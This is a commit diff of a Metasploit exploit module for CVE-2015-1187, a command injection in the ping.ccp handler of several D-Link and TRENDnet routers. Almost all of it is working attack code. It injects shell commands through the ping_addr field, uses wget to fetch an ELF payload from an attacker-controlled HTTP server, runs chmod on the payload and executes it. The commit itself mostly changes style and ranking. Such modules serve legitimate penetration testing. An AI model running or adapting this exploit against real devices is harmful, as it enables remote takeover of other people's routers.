6
6
require 'msf/core'
7
7
8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
- Rank = ManualRanking #only tested in emulated environment
9
+ Rank = NormalRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
12
include Msf ::Exploit ::Remote ::HttpServer ::HTML
@@ -17,38 +17,32 @@ def initialize(info = {})
17
17
super ( update_info ( info ,
18
18
'Name' => 'D-Link/TRENDnet NCC Command Injection (ping.ccp)' ,
19
19
'Description' => %q{
20
- This module exploits a remote command injection vulnerability on several routers.
21
- This module was tested in an emulated environment of a DIR-626L only. Several
22
- D-Link and TRENDnet devices are reported as affected:
23
- D-Link DIR-626L (Rev A) - v1.04b04,
24
- D-Link DIR-636L (Rev A) - v1.04,
25
- D-Link DIR-808L (Rev A) - v1.03b05,
26
- D-Link DIR-810L (Rev A) - v1.01b04,
27
- D-Link DIR-810L (Rev B) - v2.02b01,
28
- D-Link DIR-820L (Rev A) - v1.02B10,
29
- D-Link DIR-820L (Rev A) - v1.05B03,
30
- D-Link DIR-820L (Rev B) - v2.01b02,
31
- D-Link DIR-826L (Rev A) - v1.00b23,
32
- D-Link DIR-830L (Rev A) - v1.00b07,
33
- D-Link DIR-836L (Rev A) - v1.01b03,
34
- TRENDnet TEW-731BR (Rev 2) - v2.01b01
20
+ This module exploits a remote command injection vulnerability on several routers. This
21
+ module was tested in an emulated environment of a DIR-626L only. Several D-Link and
22
+ TRENDnet devices are reported as affected: D-Link DIR-626L (Rev A) v1.04b04, D-Link
23
+ DIR-636L (Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04,
24
+ D-Link DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)
25
+ v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link
26
+ DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03, TRENDnet TEW-731BR (Rev 2)
27
+ v2.01b01
35
28
} ,
36
29
'Author' =>
37
30
[
38
31
'Peter Adkins <peter.adkins[at]kernelpicnic.net>' , # Vulnerability discovery and initial PoC
39
32
'Tiago Caetano Henriques' , # Vulnerability discovery and initial PoC
40
- 'Michael Messner <devnull[at]s3cur1ty.de>' , # Metasploit module
33
+ 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
41
34
] ,
42
35
'License' => MSF_LICENSE ,
43
36
'References' =>
44
37
[
45
38
[ 'CVE' , '2015-1187' ] ,
46
39
[ 'BID' , '72816' ] ,
47
- [ 'URL' , 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2' ] , #advisory with PoC
48
- [ 'URL' , 'http://seclists.org/fulldisclosure/2015/Mar/15' ] , #advisory with PoC
49
- [ 'URL' , 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052' ] #vendor site with update
40
+ [ 'URL' , 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2' ] ,
41
+ [ 'URL' , 'http://seclists.org/fulldisclosure/2015/Mar/15' ] ,
42
+ [ 'URL' , 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052' ]
50
43
] ,
51
44
'Targets' =>
45
+ # Only tested on D-Link DIR-626L where wget is available
52
46
[
53
47
[ 'Linux mipsel Payload' ,
54
48
{
@@ -83,7 +77,7 @@ def check
83
77
} )
84
78
85
79
# unknown if other devices also using mini_httpd
86
- if res && [ 500 ] . include? ( res . code ) && res . headers [ " Server" ] && res . headers [ " Server" ] =~ /mini_httpd/
80
+ if res && [ 500 ] . include? ( res . code ) && res . headers [ ' Server' ] && res . headers [ ' Server' ] =~ /mini_httpd/
87
81
return Exploit ::CheckCode ::Detected
88
82
end
89
83
rescue ::Rex ::ConnectionError
@@ -93,15 +87,15 @@ def check
93
87
Exploit ::CheckCode ::Unknown
94
88
end
95
89
96
- def exec_command ( cmd , timeout = 20 )
90
+ def exec_command ( cmd , timeout = 20 )
97
91
begin
98
92
res = send_request_cgi ( {
99
93
'method' => 'POST' ,
100
94
'uri' => normalize_uri ( target_uri . path ) ,
101
95
'encode_params' => false ,
102
96
'vars_post' => {
103
- " ccp_act" => " ping_v6" ,
104
- " ping_addr" => '$(' + cmd + ')'
97
+ ' ccp_act' => ' ping_v6' ,
98
+ ' ping_addr' => '$(' + cmd + ')'
105
99
}
106
100
} , timeout )
107
101
return res
@@ -119,21 +113,22 @@ def exploit
119
113
print_status ( "#{ peer } - Accessing the vulnerable URL..." )
120
114
121
115
unless check == Exploit ::CheckCode ::Detected
122
- fail_with ( Failure ::Unknown , "#{ peer } - Failed to access the vulnerable URL" )
116
+ fail_with ( Failure ::NoTarget , "#{ peer } - Failed to access the vulnerable URL" )
123
117
end
124
118
125
119
print_status ( "#{ peer } - Exploiting..." )
126
120
127
121
@pl = generate_payload_exe
122
+ @payload_url = ''
123
+ @dropped_elf = rand_text_alpha ( rand ( 5 ) + 3 )
128
124
129
125
if @pl . blank?
130
126
fail_with ( Failure ::BadConfig , "#{ peer } - Failed to generate the ELF, select a native payload" )
131
127
end
132
- @payload_url = ""
133
128
134
129
if datastore [ 'EXTURL' ] . blank?
135
130
begin
136
- Timeout . timeout ( datastore [ 'HTTPDELAY' ] ) { super }
131
+ Timeout . timeout ( datastore [ 'HTTPDELAY' ] ) { super }
137
132
rescue Timeout ::Error
138
133
end
139
134
chmod_payload
@@ -147,57 +142,51 @@ def exploit
147
142
end
148
143
149
144
def wget_payload
150
- #
151
- # download payload
152
- #
153
- print_status ( "#{ peer } - Downloading the payload to the target machine..." )
145
+ upload_path = File . join ( datastore [ 'WRITABLEDIR' ] , @dropped_elf )
154
146
155
- @dropped_elf = rand_text_alpha ( rand ( 5 ) + 3 )
147
+ cmd = "wget${IFS} #{ @payload_url } ${IFS}-O${IFS} #{ upload_path } "
156
148
157
- cmd = "wget${IFS} #{ @payload_url } ${IFS}-O${IFS} #{ File . join ( datastore [ 'WRITABLEDIR' ] , @dropped_elf ) } "
149
+ print_status ( " #{ peer } - Downloading the payload to the target machine..." )
158
150
res = exec_command ( cmd )
159
- if res && [ 200 ] . include? ( res . code ) && res . headers [ "Server" ] && res . headers [ "Server" ] =~ /mini_httpd/
160
- register_files_for_cleanup ( File . join ( datastore [ 'WRITABLEDIR' ] , @dropped_elf ) )
151
+
152
+ if res && [ 200 ] . include? ( res . code ) && res . headers [ 'Server' ] && res . headers [ 'Server' ] =~ /mini_httpd/
153
+ register_files_for_cleanup ( upload_path )
161
154
else
162
155
fail_with ( Failure ::Unknown , "#{ peer } - Failed to download the payload to the target" )
163
156
end
164
157
end
165
158
166
159
def chmod_payload
167
- #
168
- # chmod
169
- #
170
160
cmd = "chmod${IFS}777${IFS}#{ File . join ( datastore [ 'WRITABLEDIR' ] , @dropped_elf ) } "
171
- print_status ( "#{ peer } - chmod the payload..." )
172
161
162
+ print_status ( "#{ peer } - chmod the payload..." )
173
163
res = exec_command ( cmd , 1 )
174
- if ( !res )
164
+
165
+ unless res
175
166
fail_with ( Failure ::Unknown , "#{ peer } - Unable to chmod payload" )
176
167
end
177
168
178
- select ( nil , nil , nil , 1 )
169
+ Rex . sleep ( 1 )
179
170
end
180
171
181
172
def exec_payload
182
- #
183
- # execute
184
- #
185
173
cmd = File . join ( datastore [ 'WRITABLEDIR' ] , @dropped_elf )
186
- print_status ( "#{ peer } - Executing the payload..." )
187
174
175
+ print_status ( "#{ peer } - Executing the payload..." )
188
176
res = exec_command ( cmd , 1 )
189
- if ( !res )
177
+
178
+ unless res
190
179
fail_with ( Failure ::Unknown , "#{ peer } - Unable to exec payload" )
191
180
end
192
181
193
- select ( nil , nil , nil , 1 )
182
+ Rex . sleep ( 1 )
194
183
end
195
184
196
- # Handle incoming requests from the server
185
+ # Handle incoming requests to the HTTP server
197
186
def on_request_uri ( cli , request )
198
187
print_status ( "Request: #{ request . uri } " )
199
188
if request . uri =~ /#{ Regexp . escape ( get_resource ) } /
200
- print_status ( " Sending payload..." )
189
+ print_status ( ' Sending payload...' )
201
190
send_response ( cli , @pl )
202
191
end
203
192
end
0 commit comments